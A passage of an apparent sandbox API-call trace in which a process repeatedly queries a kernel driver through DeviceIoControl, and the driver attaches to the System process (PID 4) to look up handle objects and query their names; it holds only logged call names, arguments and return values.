ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.098] ObfDereferenceObject (Object=0xfffffa8001fa6b80) returned 0x2 [0064.098] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.098] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.098] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.098] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.098] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.098] PsAcquireProcessExitSynchronization () returned 0x0 [0064.098] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.098] ObReferenceObjectByHandle (in: Handle=0xffffffff80000778, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80019e9c50, HandleInformation=0x0) returned 0x0 [0064.098] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.098] PsReleaseProcessExitSynchronization () returned 0x2 [0064.098] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.098] ObQueryNameString (in: Object=0xfffffa80019e9c50, ObjectNameInfo=0xfffffa80038f2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.098] ObfDereferenceObject (Object=0xfffffa80019e9c50) returned 0x2 [0064.098] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.098] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.098] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.098] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.098] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.098] PsAcquireProcessExitSynchronization () returned 0x0 [0064.098] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.098] ObReferenceObjectByHandle (in: Handle=0xffffffff8000077c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003421550, HandleInformation=0x0) returned 0x0 [0064.098] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.098] PsReleaseProcessExitSynchronization () returned 0x2 [0064.098] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.099] ObQueryNameString (in: Object=0xfffffa8003421550, ObjectNameInfo=0xfffffa80038f3044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f3044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.099] ObfDereferenceObject (Object=0xfffffa8003421550) returned 0x2 [0064.099] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.099] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.099] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.099] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.099] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.099] PsAcquireProcessExitSynchronization () returned 0x0 [0064.099] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.099] ObReferenceObjectByHandle (in: Handle=0xffffffff80000784, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80037321d0, HandleInformation=0x0) returned 0x0 [0064.099] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.099] PsReleaseProcessExitSynchronization () returned 0x2 [0064.099] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.099] ObQueryNameString (in: Object=0xfffffa80037321d0, ObjectNameInfo=0xfffffa80038f4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.099] ObfDereferenceObject (Object=0xfffffa80037321d0) returned 0x2 [0064.099] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.099] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.099] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.099] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.099] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.099] PsAcquireProcessExitSynchronization () returned 0x0 [0064.099] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.099] ObReferenceObjectByHandle (in: Handle=0xffffffff80000788, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80019d7730, HandleInformation=0x0) returned 0x0 [0064.099] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.099] PsReleaseProcessExitSynchronization () returned 0x2 [0064.099] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.099] ObQueryNameString (in: Object=0xfffffa80019d7730, ObjectNameInfo=0xfffffa80038f6044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f6044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.099] ObfDereferenceObject (Object=0xfffffa80019d7730) returned 0x2 [0064.099] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.099] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.099] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.099] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.099] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.099] PsAcquireProcessExitSynchronization () returned 0x0 [0064.099] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.099] ObReferenceObjectByHandle (in: Handle=0xffffffff8000078c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800250a720, HandleInformation=0x0) returned 0x0 [0064.100] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.100] PsReleaseProcessExitSynchronization () returned 0x2 [0064.100] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.100] ObQueryNameString (in: Object=0xfffffa800250a720, ObjectNameInfo=0xfffffa80038f8044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f8044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.100] ObfDereferenceObject (Object=0xfffffa800250a720) returned 0x2 [0064.100] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.100] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.100] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.100] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.100] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.100] PsAcquireProcessExitSynchronization () returned 0x0 [0064.100] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.100] ObReferenceObjectByHandle (in: Handle=0xffffffff80000790, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002502240, HandleInformation=0x0) returned 0x0 [0064.100] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.100] PsReleaseProcessExitSynchronization () returned 0x2 [0064.100] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.100] ObQueryNameString (in: Object=0xfffffa8002502240, ObjectNameInfo=0xfffffa80038ef044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ef044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.100] ObfDereferenceObject (Object=0xfffffa8002502240) returned 0x2 [0064.100] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.100] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.100] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.100] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.100] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.100] PsAcquireProcessExitSynchronization () returned 0x0 [0064.100] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.100] ObReferenceObjectByHandle (in: Handle=0xffffffff800007a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80019ee050, HandleInformation=0x0) returned 0x0 [0064.100] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.100] PsReleaseProcessExitSynchronization () returned 0x2 [0064.100] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.100] ObQueryNameString (in: Object=0xfffffa80019ee050, ObjectNameInfo=0xfffffa80038e9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.100] ObfDereferenceObject (Object=0xfffffa80019ee050) returned 0x2 [0064.100] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.100] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.100] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.100] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.101] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.101] PsAcquireProcessExitSynchronization () returned 0x0 [0064.101] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.143] ObReferenceObjectByHandle (in: Handle=0xffffffff800007a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001edcdf0, HandleInformation=0x0) returned 0x0 [0064.143] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.143] PsReleaseProcessExitSynchronization () returned 0x2 [0064.143] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.143] ObQueryNameString (in: Object=0xfffffa8001edcdf0, ObjectNameInfo=0xfffffa80037bc7c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80037bc7c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.143] ObfDereferenceObject (Object=0xfffffa8001edcdf0) returned 0x2 [0064.143] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.143] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.143] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.143] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0064.143] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.143] PsAcquireProcessExitSynchronization () returned 0x0 [0064.143] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.143] ObReferenceObjectByHandle (in: Handle=0xffffffff800007a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800340bb10, HandleInformation=0x0) returned 0x0 [0064.143] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.143] PsReleaseProcessExitSynchronization () returned 0x2 [0064.143] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.143] ObQueryNameString (in: Object=0xfffffa800340bb10, ObjectNameInfo=0xfffffa8003866044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003866044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.143] ObfDereferenceObject (Object=0xfffffa800340bb10) returned 0x2 [0064.143] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.143] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.143] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.143] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.143] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.143] PsAcquireProcessExitSynchronization () returned 0x0 [0064.143] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.143] ObReferenceObjectByHandle (in: Handle=0xffffffff800007ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020886e0, HandleInformation=0x0) returned 0x0 [0064.143] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.144] PsReleaseProcessExitSynchronization () returned 0x2 [0064.144] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.144] ObQueryNameString (in: Object=0xfffffa80020886e0, ObjectNameInfo=0xfffffa80038a0044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038a0044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.144] ObfDereferenceObject (Object=0xfffffa80020886e0) returned 0x2 [0064.144] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.144] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.144] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.144] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.144] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.144] PsAcquireProcessExitSynchronization () returned 0x0 [0064.144] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.144] ObReferenceObjectByHandle (in: Handle=0xffffffff800007b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800250e1c0, HandleInformation=0x0) returned 0x0 [0064.144] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.144] PsReleaseProcessExitSynchronization () returned 0x2 [0064.144] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.144] ObQueryNameString (in: Object=0xfffffa800250e1c0, ObjectNameInfo=0xfffffa80038db044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038db044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.144] ObfDereferenceObject (Object=0xfffffa800250e1c0) returned 0x2 [0064.144] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.144] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.144] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.144] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.144] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.144] PsAcquireProcessExitSynchronization () returned 0x0 [0064.144] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.144] ObReferenceObjectByHandle (in: Handle=0xffffffff800007bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800248ff20, HandleInformation=0x0) returned 0x0 [0064.144] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.144] PsReleaseProcessExitSynchronization () returned 0x2 [0064.144] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.144] ObQueryNameString (in: Object=0xfffffa800248ff20, ObjectNameInfo=0xfffffa80038dc044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038dc044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.144] ObfDereferenceObject (Object=0xfffffa800248ff20) returned 0x2 [0064.144] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.144] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.144] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.144] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0064.144] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.144] PsAcquireProcessExitSynchronization () returned 0x0 [0064.144] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.145] ObReferenceObjectByHandle (in: Handle=0xffffffff800007c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80021afae0, HandleInformation=0x0) returned 0x0 [0064.145] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.145] PsReleaseProcessExitSynchronization () returned 0x2 [0064.145] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.145] ObQueryNameString (in: Object=0xfffffa80021afae0, ObjectNameInfo=0xfffffa80038e1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.145] ObfDereferenceObject (Object=0xfffffa80021afae0) returned 0x2 [0064.145] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.145] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.145] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.145] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.145] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.145] PsAcquireProcessExitSynchronization () returned 0x0 [0064.145] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.145] ObReferenceObjectByHandle (in: Handle=0xffffffff800007c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800b3b5050, HandleInformation=0x0) returned 0x0 [0064.145] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.145] PsReleaseProcessExitSynchronization () returned 0x2 [0064.145] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.145] ObQueryNameString (in: Object=0xfffffa800b3b5050, ObjectNameInfo=0xfffffa80038e2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.145] ObfDereferenceObject (Object=0xfffffa800b3b5050) returned 0x2 [0064.145] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.145] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.145] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.145] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.145] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.145] PsAcquireProcessExitSynchronization () returned 0x0 [0064.145] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.145] ObReferenceObjectByHandle (in: Handle=0xffffffff800007c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002112440, HandleInformation=0x0) returned 0x0 [0064.145] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.145] PsReleaseProcessExitSynchronization () returned 0x2 [0064.145] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.146] ObQueryNameString (in: Object=0xfffffa8002112440, ObjectNameInfo=0xfffffa80038e4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.146] ObfDereferenceObject (Object=0xfffffa8002112440) returned 0x2 [0064.146] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.146] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.146] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.146] 